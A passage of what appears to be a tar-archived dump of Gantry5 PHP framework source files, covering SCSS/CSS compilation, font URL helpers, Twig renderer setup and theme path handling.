        $out = $name . ($this->configuration !== 'default' ?
'_'. $this->configuration : '');

        return "{$this->target}/{$out}.css";
    }

    /**
     * @return $this
     */
    public function compileAll()
    {
        foreach ($this->files as $file) {
            $this->compileFile($file);
        }

        return $this;
    }

    public function needsCompile($in, $variables)
    {
        $gantry = static::gantry();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        $out = $this->getCssUrl($in);
        $path = $locator->findResource($out);

        // Check if CSS file exists at all.
        if (!$path) {
            $this->setVariables($variables());

            return true;
        }

        if ($this->production) {
            // Open the file to see if it contains development comment in
the beginning of the file.
            $handle = fopen($path, 'rb');
            $contents = fread($handle, 36);
            fclose($handle);

            if ($contents === '/* GANTRY5 DEVELOPMENT MODE
ENABLED.') {
                $this->setVariables($variables());
                return true;
            }

            // Compare checksum comment in the file.
            if ($contents !== $this->checksum()) {
                $this->setVariables($variables());
                return true;
            }

            // In production mode we do not need to do any other checks.
            return false;
        }

        $uri = basename($out);
        $metaFile =
PhpFile::instance($locator->findResource("gantry-cache://theme/scss/{$uri}.php",
true, true));

        // Check if meta file exists.
        if (!$metaFile->exists()) {
            $this->setVariables($variables());
            return true;
        }

        $content = $metaFile->content();
        $metaFile->free();

        // Check if filename in meta file matches.
        if (empty($content['file']) || $content['file']
!== $out) {
            $this->setVariables($variables());
            return true;
        }

        // Check if meta timestamp matches to CSS file.
        if (filemtime($path) !== $content['timestamp']) {
            $this->setVariables($variables());
            return true;
        }

        $this->setVariables($variables());

        // Check if variables have been changed.
        $oldVariables = isset($content['variables']) ?
$content['variables'] : [];
        if ($oldVariables != $this->getVariables()) {
            return true;
        }

        // Preload all CSS files to locator cache.
        foreach ($this->paths as $path) {
            $locator->fillCache($path);
        }

        // Check if any of the imported files have been changed.
        $imports = isset($content['imports']) ?
$content['imports'] : [];

        if (!$imports) {
            return $this->findImport($in) !== null;
        }

        foreach ($imports as $resource => $timestamp) {
            $import = $locator->isStream($resource) ?
$locator->findResource($resource) : realpath($resource);
            if (!$import || filemtime($import) !== $timestamp) {
                return true;
            }
        }

        return false;
    }

    public function setVariables(array $variables)
    {
        $this->variables = array_filter($variables);

        foreach($this->variables as &$value) {
            // Check variable against colors and units.
            /* Test regex against these:
             * Should only match the ones marked as +
             *      - family=Aguafina+Script
             *      - #zzzzzz
             *      - #fff
             *      + #ffaaff
             *      + 33em
             *      + 0.5px
             *      - 50 rem
             *      - rgba(323,323,2323)
             *      + rgba(125,200,100,0.3)
             *      - rgb(120,12,12)
             */
            if
(preg_match('/(^(#([a-fA-F0-9]{6})|(rgba\(\s*(0|[1-9]\d?|1\d\d?|2[0-4]\d|25[0-5])\s*,\s*(0|[1-9]\d?|1\d\d?|2[0-4]\d|25[0-5])\s*,\s*(0|[1-9]\d?|1\d\d?|2[0-4]\d|25[0-5])\s*,\s*((0.[0-9]+)|[01])\s*\)))|(\d+(\.\d+){0,1}(rem|em|ex|ch|vw|vh|vmin|vmax|%|px|cm|mm|in|pt|pc))$)/i',
$value)) {
                continue;
            }

            // Check variable against predefined color names (we use Leafo
SCSS Color class to do that).
            if (isset(Colors::$cssColors[strtolower($value)])) {
                continue;
            }

            // All the unknown values need to be quoted.
            $value = "'{$value}'";
        }

        return $this;
    }

    public function getVariables()
    {
        return $this->variables;
    }

    public function reset()
    {
        $this->compiler->reset();

        return $this;
    }

    /**
     * @param string $url
     * @return null|string
     */
    abstract public function findImport($url);

    protected function checksum($len = 36)
    {
        static $checksum;

        if (!$checksum) {
            $checksum = md5(GANTRY5_VERSION . ' ' .
Gantry::instance()['theme']->version);
        }

        return '/*' . substr($checksum, 0, $len - 4) .
'*/';
    }

    protected function createMeta($out, $md5)
    {
        $gantry = Gantry::instance();

        if ($this->production) {
            return;
        }

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        $uri = basename($out);
        $metaFile =
PhpFile::instance($locator->findResource("gantry-cache://theme/scss/{$uri}.php",
true, true));
        $data = [
            'file' => $out,
            'timestamp' =>
filemtime($locator->findResource($out)),
            'md5' => $md5,
            'variables' => $this->getVariables(),
            'imports' =>
$this->compiler->getParsedFiles()
        ];

        // Attempt to lock the file for writing.
        try {
            $metaFile->lock(false);
        } catch (\Exception $e) {
            // Another process has locked the file; we will check this in a
bit.
        }
        // If meta file wasn't already locked by another process, save
it.
        if ($metaFile->locked() !== false) {
            $metaFile->save($data);
            $metaFile->unlock();
        }
        $metaFile->free();
    }
}
Gantry/Component/Stylesheet/CssCompilerInterface.php000064400000003324151157471010016664
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Stylesheet;

interface CssCompilerInterface
{
    /**
     * @return array
     */
    public function getWarnings();

    /**
     * @return string
     */
    public function getTarget();

    /**
     * @param string $target
     * @return $this
     */
    public function setTarget($target = null);

    /**
     * @param string $configuration
     * @return $this
     */
    public function setConfiguration($configuration = null);

    /**
     * @param array $paths
     * @return $this
     */
    public function setPaths(array $paths = null);

    /**
     * @param array $files
     * @return $this
     */
    public function setFiles(array $files = null);

    /**
     * @param array $fonts
     * @return $this
     */
    public function setFonts(array $fonts);

    /**
     * @param string $name
     * @return string
     */
    public function getCssUrl($name);

    public function getVariables();
    public function setVariables(array $variables);
    public function registerFunction($name, callable $callback);
    public function unregisterFunction($name);
    public function needsCompile($in, $variables);
    public function compileFile($in);

    /**
     * @return $this
     */
    public function reset();

    /**
     * @return $this
     */
    public function compileAll();

    public function resetCache();
}
Gantry/Component/Stylesheet/Scss/Compiler.php000064400000026204151157471010015307
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Stylesheet\Scss;

use Gantry\Component\Filesystem\Folder;
use Gantry\Framework\Document;
use Gantry\Framework\Gantry;
use Leafo\ScssPhp\Compiler as BaseCompiler;
use Leafo\ScssPhp\Formatter\OutputBlock;
use Leafo\ScssPhp\Parser;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class Compiler extends BaseCompiler
{
    protected $basePath;
    protected $fonts;
    protected $usedFonts;
    protected $streamNames;
    protected $parsedFiles = [];

    public function __construct()
    {
        parent::__construct();

        $this->registerFunction('get-font-url', [$this,
'userGetFontUrl']);
        $this->registerFunction('get-font-family', [$this,
'userGetFontFamily']);
        $this->registerFunction('get-local-fonts', [$this,
'userGetLocalFonts']);
        $this->registerFunction('get-local-font-weights',
[$this, 'userGetLocalFontWeights']);
        $this->registerFunction('get-local-font-url', [$this,
'userGetLocalFontUrl']);
    }

    /**
     * @param $basePath
     */
    public function setBasePath($basePath)
    {
        /** @var Document $document */
        $document = Gantry::instance()['document'];
        $this->basePath = rtrim($document->rootUri(), '/')
. '/' . Folder::getRelativePath($basePath);
    }

    /**
     * @param array $fonts
     */
    public function setFonts(array $fonts)
    {
        $this->fonts = $fonts;
    }

    /**
     * @param $args
     * @return mixed
     */
    public function compileArgs($args)
    {
        foreach ($args as &$arg) {
            $arg = $this->compileValue($arg);
        }

        return $args;
    }

    /**
     * Get variable
     *
     * @api
     *
     * @param string    $name
     * @param boolean   $shouldThrow
     * @param BaseCompiler\Environment $env
     * @param bool $unreduced
     *
     * @return mixed
     */
    public function get($name, $shouldThrow = true,
BaseCompiler\Environment $env = null, $unreduced = false)
    {
        try {
            return parent::get($name, $shouldThrow, $env, $unreduced);
        } catch (\Exception $e) {
            echo $e->getMessage() . "\n";
            return ['string', '', ['']];
        }
    }

    /**
     * @param array $args
     * @return string
     * @throws \Leafo\ScssPhp\Exception\CompilerException
     */
    public function libUrl(array $args)
    {
        // Function has a single parameter.
        $parsed = reset($args);
        if (!$parsed) {
            $this->throwError('url() is missing parameter');
        }

        // Compile parsed value to string.
        $url = trim($this->compileValue($parsed),
'\'"');

        // Handle ../ inside CSS files (points to current theme).
        if (strpos($url, '../') === 0 && strpos($url,
'../', 3) === false) {
            $url = 'gantry-theme://' . substr($url, 3);
        }

        // Generate URL, failed streams will be transformed to 404 URLs.
        $url = Gantry::instance()['document']->url($url, null,
null, false);

        // Changes absolute URIs to relative to make the path to work even
if the site gets moved.
        if ($url && $url[0] === '/' &&
$this->basePath) {
            $url = Folder::getRelativePathDotDot($url, $this->basePath);
        }

        // Make sure that all the URLs inside CSS are https compatible by
replacing http:// protocol with //.
        if (strpos($url, 'http://') === 0) {
            $url = str_replace('http://', '//', $url);
        }

        // Return valid CSS.
        return "url('{$url}')";
    }

    /**
     * get-font-url($my-font-variable);
     *
     * @param array $args
     * @return string
     */
    public function userGetFontUrl($args)
    {
        $value = trim($this->compileValue(reset($args)),
'\'"');

        // It's a google font
        if (0 === strpos($value, 'family=')) {
            $fonts = $this->decodeFonts($value);
            $font = reset($fonts);

            // Only return url once per font.
            if ($font && !isset($this->usedFonts[$font])) {
                $this->usedFonts[$font] = true;
                return
"url('//fonts.googleapis.com/css?{$value}')";
            }
        }

        return false;
    }

    /**
     * font-family: get-font-family($my-font-variable);
     *
     * @param array $args
     * @return string
     */
    public function userGetFontFamily($args)
    {
        $value = trim($this->compileValue(reset($args)),
'\'"');

        return $this->encodeFonts($this->decodeFonts($value));
    }

    /**
     * get-local-fonts($my-font-variable, $my-font-variable2, ...);
     *
     * @param array $args
     * @return array
     */
    public function userGetLocalFonts($args)
    {
        $args = $this->compileArgs($args);

        $fonts = [];
        foreach ($args as $value) {
            // It's a local font, we need to load any of the mapped
fonts from the theme
            $fonts = array_merge($fonts, $this->decodeFonts($value,
true));
        }

        $fonts = $this->getLocalFonts($fonts);

        // Create a basic list of strings so that SCSS parser can parse the
list.
        $list = [];
        foreach ($fonts as $font => $data) {
            $list[] = ['string', '"', [$font]];
        }

        return ['list', ',', $list];
    }

    /**
     * get-local-font-weights(roboto);
     *
     * @param array $args
     * @return array
     */
    public function userGetLocalFontWeights($args)
    {
        $name = trim($this->compileValue(reset($args)),
'\'"');

        $weights = isset($this->fonts[$name]) ?
array_keys($this->fonts[$name]) : [];

        // Create a list of numbers so that SCSS parser can parse the list.
        $list = [];
        foreach ($weights as $weight) {
            $list[] = ['string', '', [(int) $weight]];
        }

        return ['list', ',', $list];
    }

    /**
     * get-local-font-url(roboto, 400);
     *
     * @param array $args
     * @return string
     */
    public function userGetLocalFontUrl($args)
    {
        $args = $this->compileArgs($args);

        $name = isset($args[0]) ? trim($args[0], '\'"')
: '';
        $weight = isset($args[1]) ? $args[1] : 400;

        // Only return url once per font.
        $weightName = $name . '-' . $weight;
        if (isset($this->fonts[$name][$weight]) &&
!isset($this->usedFonts[$weightName])) {
            $this->usedFonts[$weightName] = true;

            return $this->fonts[$name][$weight];
        }

        return false;
    }

    /**
     * Get local font data.
     *
     * @param array $fonts
     * @return array
     */
    protected function getLocalFonts(array $fonts)
    {
        $list = [];
        foreach ($fonts as $family) {
            $family = strtolower($family);

            if (isset($this->fonts[$family])) {
                $list[$family] = $this->fonts[$family];
            }
        }

        return $list;
    }

    /**
     * Convert array of fonts into a CSS parameter string.
     *
     * @param array $fonts
     * @return string
     */
    protected function encodeFonts(array $fonts)
    {
        array_walk($fonts, function(&$val) {
            // Check if font family is one of the 4 default ones, otherwise
add quotes.
            if (!\in_array($val, ['cursive', 'serif',
'sans-serif', 'monospace'], true)) {
                $val = '"' . $val . '"';
            }
        });

        return implode(', ', $fonts);
    }

    /**
     * Convert string into array of fonts.
     *
     * @param  string $string
     * @param  bool   $localOnly
     * @return array
     */
    protected function decodeFonts($string, $localOnly = false)
    {
        if (0 === strpos($string, 'family=')) {
            if ($localOnly) {
                // Do not return external fonts.
                return [];
            }

            // Matches google font family name
            preg_match('/^family=([^&:]+).*$/ui', $string,
$matches);
            return [urldecode($matches[1])];
        }

        // Filter list of fonts and quote them.
        $list = (array) explode(',', $string);
        array_walk($list, function(&$val) {
            $val = trim($val, "'\" \t\n\r\0\x0B");
        });
        array_filter($list);

        return $list;
    }

    public function reset()
    {
        $this->usedFonts = [];

        return $this;
    }

    /**
     * Instantiate parser
     *
     * @param string $path
     *
     * @return \Leafo\ScssPhp\Parser
     */
    protected function parserFactory($path)
    {
        $parser = new Parser($path, count($this->sourceNames),
$this->encoding);

        /** @var UniformResourceLocator $locator */
        $locator = Gantry::instance()['locator'];

        $this->sourceNames[] = $locator->isStream($path) ?
$locator->findResource($path, false) : $path;
        $this->streamNames[] = $path;
        $this->addParsedFile($path);
        return $parser;
    }

    /**
     * Adds to list of parsed files
     *
     * @api
     *
     * @param string $path
     */
    public function addParsedFile($path)
    {
        if ($path && file_exists($path)) {
            $this->parsedFiles[$path] = filemtime($path);
        }
    }

    /**
     * Returns list of parsed files
     *
     * @api
     *
     * @return array
     */
    public function getParsedFiles()
    {
        return $this->parsedFiles;
    }

    /**
     * Clean parset files.
     *
     * @api
     */
    public function cleanParsedFiles()
    {
        $this->parsedFiles = [];
    }

    /**
     * Handle import loop
     *
     * @param string $name
     *
     * @throws \Exception
     */
    protected function handleImportLoop($name)
    {
        for ($env = $this->env; $env; $env = $env->parent) {
            $file = $this->streamNames[$env->block->sourceIndex];

            if (realpath($file) === $name) {
                $this->throwError('An @import loop has been found:
%s imports %s', $file, basename($file));
                break;
            }
        }
    }

    /**
     * Override function to improve the logic.
     *
     * @param string $path
     * @param OutputBlock  $out
     *
     * @throws \Exception
     */
    protected function importFile($path, OutputBlock $out)
    {
        $this->addParsedFile($path);

        /** @var UniformResourceLocator $locator */
        $locator = Gantry::instance()['locator'];

        // see if tree is cached
        $realPath = $locator($path);

        if (isset($this->importCache[$realPath])) {
            $this->handleImportLoop($realPath);

            $tree = $this->importCache[$realPath];
        } else {
            $code   = file_get_contents($realPath);
            $parser = $this->parserFactory($path);
            $tree   = $parser->parse($code);

            $this->importCache[$realPath] = $tree;
        }

        $dirname = dirname($path);
        array_unshift($this->importPaths, $dirname);
        $this->compileChildrenNoReturn($tree->children, $out);
        array_shift($this->importPaths);
    }
}
Gantry/Component/Stylesheet/ScssCompiler.php000064400000014766151157471010015242
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Stylesheet;

use Gantry\Component\Stylesheet\Scss\Compiler;
use Gantry\Framework\Document;
use Gantry\Framework\Gantry;
use Leafo\ScssPhp\Exception\CompilerException;
use RocketTheme\Toolbox\File\File;
use RocketTheme\Toolbox\File\JsonFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class ScssCompiler extends CssCompiler
{
    /**
     * @var string
     */
    public $type = 'scss';

    /**
     * @var string
     */
    public $name = 'SCSS';

    /**
     * @var Compiler
     */
    protected $compiler;

    /**
     * Constructor.
     */
    public function __construct()
    {
        parent::__construct();

        $this->compiler = new Compiler();

        if ($this->production) {
           
$this->compiler->setFormatter('Leafo\ScssPhp\Formatter\Crunched');
        } else {
           
$this->compiler->setFormatter('Leafo\ScssPhp\Formatter\Expanded');
            // Work around bugs in SCSS compiler.
            // TODO: Pass our own SourceMapGenerator instance instead.
           
$this->compiler->setSourceMap(Compiler::SOURCE_MAP_INLINE);
            $this->compiler->setSourceMapOptions([
                'sourceMapBasepath' => '/',
                'sourceRoot'        => '/',
            ]);
           
$this->compiler->setLineNumberStyle(Compiler::LINE_COMMENTS);
        }
    }

    public function compile($in)
    {
        return $this->compiler->compile($in);
    }

    public function resetCache()
    {
    }

    /**
     * @param string $in    Filename without path or extension.
     * @return bool         True if the output file was saved.
     * @throws \RuntimeException
     */
    public function compileFile($in)
    {
        // Buy some extra time as compilation may take a lot of time in
shared environments.
        @set_time_limit(30);
        @set_time_limit(60);
        @set_time_limit(90);
        @set_time_limit(120);
        ob_start();

        $gantry = Gantry::instance();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        $out = $this->getCssUrl($in);
        $path = $locator->findResource($out, true, true);
        $file = File::instance($path);

        // Attempt to lock the file for writing.
        try {
            $file->lock(false);
        } catch (\Exception $e) {
            // Another process has locked the file; we will check this in a
bit.
        }

        if ($file->locked() === false) {
            // File was already locked by another process, lets avoid
compiling the same file twice.
            return false;
        }

        // Set the lookup paths.
        $this->compiler->setBasePath($path);
        $this->compiler->setImportPaths([[$this,
'findImport']]);

        // Run the compiler.
        $this->compiler->setVariables($this->getVariables());
        $scss = '@import "' . $in . '.scss"';
        try {
            $css = $this->compiler->compile($scss);
        } catch (CompilerException $e) {
            throw new \RuntimeException("CSS Compilation on file
'{$in}.scss' failed on error: {$e->getMessage()}", 500,
$e);
        }
        if (strpos($css, $scss) === 0) {
            $css = '/* ' . $scss . ' */';
        }

        // Extract map from css and save it as separate file.
        if ($pos = strrpos($css, '/*# sourceMappingURL=')) {
            $map = json_decode(urldecode(substr($css, $pos + 43, -3)),
true);

            /** @var Document $document */
            $document = $gantry['document'];

            foreach ($map['sources'] as &$source) {
                $source = $document->url($source, null, -1);
            }
            unset($source);

            $mapFile = JsonFile::instance($path . '.map');
            $mapFile->save($map);
            $mapFile->free();

            $css = substr($css, 0, $pos) . '/*#
sourceMappingURL=' . basename($out) . '.map */';
        }

        $warnings = trim(ob_get_clean());
        if ($warnings) {
            $this->warnings[$in] = explode("\n", $warnings);
        }

        if (!$this->production) {
            $warning = <<<WARN
/* GANTRY5 DEVELOPMENT MODE ENABLED.

   WARNING: This file is automatically generated by Gantry5. Any
modifications to this file will be lost!

   For more information on modifying CSS, please read:

   http://docs.gantry.org/gantry5/configure/styles
   http://docs.gantry.org/gantry5/tutorials/adding-a-custom-style-sheet
 */
WARN;
            $css = $warning . "\n\n" . $css;
        } else {
            $css = "{$this->checksum()}\n{$css}";
        }

        $file->save($css);
        $file->unlock();
        $file->free();

        $this->createMeta($out, md5($css));
        $this->compiler->cleanParsedFiles();

        return true;
    }

    /**
     * @param string   $name       Name of function to register to the
compiler.
     * @param callable $callback   Function to run when called by the
compiler.
     * @return $this
     */
    public function registerFunction($name, callable $callback)
    {
        $this->compiler->registerFunction($name, $callback);

        return $this;
    }

    /**
     * @param string $name       Name of function to unregister.
     * @return $this
     */
    public function unregisterFunction($name)
    {
        $this->compiler->unregisterFunction($name);

        return $this;
    }

    /**
     * @param string $url
     * @return null|string
     * @internal
     */
    public function findImport($url)
    {
        $gantry = Gantry::instance();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        // Ignore vanilla css and external requests.
        if (preg_match('/\.css$|^https?:\/\//', $url)) {
            return null;
        }

        // Try both normal and the _partial filename.
        $files = array($url, preg_replace('/[^\/]+$/',
'_\0', $url));

        foreach ($this->paths as $base) {
            foreach ($files as $file) {
                if (!preg_match('|\.scss$|', $file)) {
                    $file .= '.scss';
                }
                if ($locator->findResource($base . '/' .
$file)) {
                    return $base . '/' . $file;
                }
            }
        }

        return null;
    }
}
Gantry/Component/System/Messages.php000064400000001175151157471010013524
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Component\System;

class Messages
{
    protected $messages = [];

    public function add($message, $type = 'warning')
    {
        $this->messages[] = ['type' => $type,
'message' => $message];

        return $this;
    }

    public function get()
    {
        return $this->messages;
    }

    public function clean()
    {
        $this->messages = [];

        return $this;
    }
}
Gantry/Component/Theme/AbstractTheme.php000064400000016062151157471010014262
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Theme;

use Gantry\Component\Config\Config;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Component\Filesystem\Folder;
use Gantry\Component\Gantry\GantryTrait;
use Gantry\Component\Twig\TwigCacheFilesystem;
use Gantry\Component\Twig\TwigExtension;
use Gantry\Framework\Platform;
use Gantry\Framework\Services\ErrorServiceProvider;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

/**
 * Class AbstractTheme
 * @package Gantry\Component
 *
 * @property string $path
 * @property string $layout
 */
abstract class AbstractTheme
{
    use GantryTrait;

    /**
     * @var string
     */
    public $name;

    /**
     * @var string
     */
    public $path;

    /**
     * @var \Twig_Environment
     */
    protected $renderer;

    /**
     * Construct theme object.
     *
     * @param string $path
     * @param string $name
     */
    public function __construct($path, $name = null)
    {
        if (!is_dir($path)) {
            throw new \LogicException('Theme not found!');
        }

        $this->name = $name ? $name : basename($path);
        $this->path = $path;

        $this->init();
    }

    /**
     * Get context for render().
     *
     * @param array $context
     * @return array
     */
    public function getContext(array $context)
    {
        $context['theme'] = $this;

        return $context;
    }

    /**
     * Define twig environment.
     *
     * @param \Twig_Environment $twig
     * @param \Twig_LoaderInterface $loader
     * @return \Twig_Environment
     */
    public function extendTwig(\Twig_Environment $twig,
\Twig_LoaderInterface $loader = null)
    {
        if
($twig->hasExtension('Gantry\Component\Twig\TwigExtension')) {
            return $twig;
        }

        if (!$loader) {
            $loader = $twig->getLoader();
        }

        $this->setTwigLoaderPaths($loader);

        $twig->addExtension(new TwigExtension);

        if (method_exists($this, 'toGrid')) {
            $filter = new \Twig_SimpleFilter('toGrid', [$this,
'toGrid']);
            $twig->addFilter($filter);
        }

        return $twig;
    }

    /**
     * Return renderer.
     *
     * @return \Twig_Environment
     */
    public function renderer()
    {
        if (!$this->renderer) {
            $gantry = static::gantry();

            /** @var Config $global */
            $global = $gantry['global'];

            $cachePath = $global->get('compile_twig', 1) ?
$this->getCachePath('twig') : null;
            $cache = $cachePath ? new TwigCacheFilesystem($cachePath,
\Twig_Cache_Filesystem::FORCE_BYTECODE_INVALIDATION) : null;
            $debug = $gantry->debug();
            $production = (bool) $global->get('production',
1);
            $loader = new \Twig_Loader_Filesystem();
            $params = [
                'cache' => $cache,
                'debug' => $debug,
                'auto_reload' => !$production,
                'autoescape' => 'html'
            ];

            $twig = new \Twig_Environment($loader, $params);

            $this->setTwigLoaderPaths($loader);

            if ($debug) {
                $twig->addExtension(new \Twig_Extension_Debug());
            }

            $this->renderer = $this->extendTwig($twig, $loader);
        }

        return $this->renderer;
    }

    /**
     * Render a template file by using given context.
     *
     * @param string $file
     * @param array $context
     * @return string
     */
    public function render($file, array $context = [])
    {
        // Include Gantry specific things to the context.
        $context = $this->getContext($context);

        return $this->renderer()->render($file, $context);
    }

    /**
     * Compile and render twig string.
     *
     * @param string $string
     * @param array $context
     * @return string
     */
    public function compile($string, array $context = [])
    {
        $renderer = $this->renderer();
        $template = $renderer->createTemplate($string);

        // Include Gantry specific things to the context.
        $context = $this->getContext($context);

        return $template->render($context);
    }

    /**
     * Initialize theme.
     */
    protected function init()
    {
        $gantry = static::gantry();
        $gantry['streams']->register();

        // Only add error service if development or debug mode has been
enabled or user is admin.
        if (!$gantry['global']->get('production', 0)
|| $gantry->debug() || $gantry->admin()) {
            $gantry->register(new ErrorServiceProvider);
        }

        // Initialize theme cache stream.
        $cachePath = $this->getCachePath();

        Folder::create($cachePath);

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];
        $locator->addPath('gantry-cache', 'theme',
[$cachePath], true, true);

        CompiledYamlFile::$defaultCachePath =
$locator->findResource('gantry-cache://theme/compiled/yaml',
true, true);
        CompiledYamlFile::$defaultCaching =
$gantry['global']->get('compile_yaml', 1);
    }

    /**
     * Set twig lookup paths to the loader.
     *
     * @param \Twig_LoaderInterface $loader
     * @return \Twig_Loader_Filesystem|null
     * @internal
     */
    protected function setTwigLoaderPaths(\Twig_LoaderInterface $loader)
    {
        if ($loader instanceof \Twig_Loader_Chain) {
            $new = new \Twig_Loader_Filesystem();
            $loader->addLoader($new);
            $loader = $new;
        } elseif (!($loader instanceof \Twig_Loader_Filesystem)) {
            return null;
        }

        $gantry = static::gantry();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

       
$loader->setPaths($locator->findResources('gantry-engine://templates'),
'nucleus');
       
$loader->setPaths($locator->findResources('gantry-particles://'),
'particles');

        return $loader;
    }

    /**
     * Get path to Twig cache.
     *
     * @param string $path
     * @return string
     */
    protected function getCachePath($path = '')
    {
        $gantry = static::gantry();

        /** @var Platform $patform */
        $patform = $gantry['platform'];

        // Initialize theme cache stream.
        return $patform->getCachePath() . '/' . $this->name
. ($path ? '/' . $path : '');
    }

    /**
     * @deprecated 5.0.2
     */
    public function debug()
    {
        return static::gantry()->debug();
    }

    /**
     * @deprecated 5.1.5
     */
    public function add_to_context(array $context)
    {
        return $this->getContext($context);
    }

    /**
     * @deprecated 5.1.5
     */
    public function add_to_twig(\Twig_Environment $twig,
\Twig_LoaderInterface $loader = null)
    {
        return $this->extendTwig($twig, $loader);
    }
}
Gantry/Component/Theme/ThemeDetails.php000064400000013737151157471010014112
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Theme;

use Gantry\Component\File\CompiledYamlFile;
use Gantry\Component\Filesystem\Streams;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\ArrayTraits\Export;
use RocketTheme\Toolbox\ArrayTraits\NestedArrayAccessWithGetters;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

/**
 * Class ThemeDetails
 * @package Gantry\Component\Theme
 */
class ThemeDetails implements \ArrayAccess
{
    use NestedArrayAccessWithGetters, Export;

    protected $items;
    protected $parent;

    /**
     * Create new theme details.
     *
     * @param string $theme
     */
    public function __construct($theme)
    {
        $gantry = Gantry::instance();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        $filename =
$locator->findResource("gantry-themes://{$theme}/gantry/theme.yaml");
        if (!$filename) {
            throw new \RuntimeException(sprintf('Theme %s not
found', $theme), 404);
        }

        $cache =
$locator->findResource("gantry-cache://{$theme}/compiled/yaml",
true, true);

        $file = CompiledYamlFile::instance($filename);
        $this->items = $file->setCachePath($cache)->content();
        $file->free();

        $this->offsetSet('name', $theme);

        $parent = (string)
$this->get('configuration.theme.parent', $theme);
        $parent = $parent != $theme ? $parent : null;

        $this->offsetSet('parent', $parent);
    }

    /**
     * @return string
     */
    public function addStreams()
    {
        $gantry = Gantry::instance();

        // Initialize theme stream.
        $streamName =
$this->addStream($this->offsetGet('name'),
$this->getPaths());

        // Initialize parent theme streams.
        $loaded = [$this->offsetGet('name')];
        $details = $this;

        while ($details = $details->parent()) {
            if (in_array($details->name, $loaded)) {
                break;
            }
            $this->addStream($details->name,
$details->getPaths(false));
            $loaded[] = $details->name;
        }

        /** @var Streams $streams */
        $streams = $gantry['streams'];
        $streams->register();

        return $streamName;
    }

    /**
     * Get parent theme details if theme has a parent.
     *
     * @return ThemeDetails|null
     * @throws \RuntimeException
     */
    public function parent()
    {
        $parent = $this->offsetGet('parent');

        if (!$this->parent && $parent) {
            try {
                $this->parent = new ThemeDetails($parent);
            } catch (\RuntimeException $e) {
                throw new \RuntimeException(sprintf('Parent theme %s
not found', $parent), 404);
            }
        }

        return $this->parent;
    }

    /**
     * Get all possible paths to the theme.
     *
     * @return array
     */
    public function getPaths($overrides = true)
    {
        $paths = array_merge(
            $overrides ? (array)
$this->get('configuration.theme.overrides',
'gantry-theme://custom') : [],
            ['gantry-theme://'],
            (array) $this->get('configuration.theme.base',
'gantry-theme://common')
        );

        $parent = $this->offsetGet('parent');
        if ($parent) {
            // Stream needs to be valid URL.
            $streamName = 'gantry-themes-' .
preg_replace('|[^a-z\d+.-]|ui', '-', $parent);
            $paths[] = "{$streamName}://";
        }

        return $this->parsePaths($paths);
    }

    /**
     * Convert theme path into stream URI.
     *
     * @param string $path
     * @return string
     */
    public function getUrl($path)
    {
        $uri = (string) $this->offsetGet($path);

        if (strpos($uri, 'gantry-theme://') === 0) {
            list (, $uri) = explode('://', $uri, 2);
        }
        if (!strpos($uri, '://')) {
            $name = $this->offsetGet('name');

            // Stream needs to be valid URL.
            $streamName = 'gantry-themes-' .
preg_replace('|[^a-z\d+.-]|ui', '-', $name);
            $uri = "{$streamName}://{$uri}";
        }

        return $uri;
    }

    /**
     * Turn list of theme paths to be universal, so they can be used
outside of the theme.
     *
     * @param array $items
     * @return array
     */
    public function parsePaths(array $items)
    {
        foreach ($items as &$item) {
            $item = $this->parsePath($item);
        }

        return $items;
    }

    /**
     * Convert theme paths to be universal, so they can be used outside of
the theme.
     *
     * @param string $path
     * @return string
     */
    public function parsePath($path)
    {
        if (strpos($path, 'gantry-theme://') === 0) {
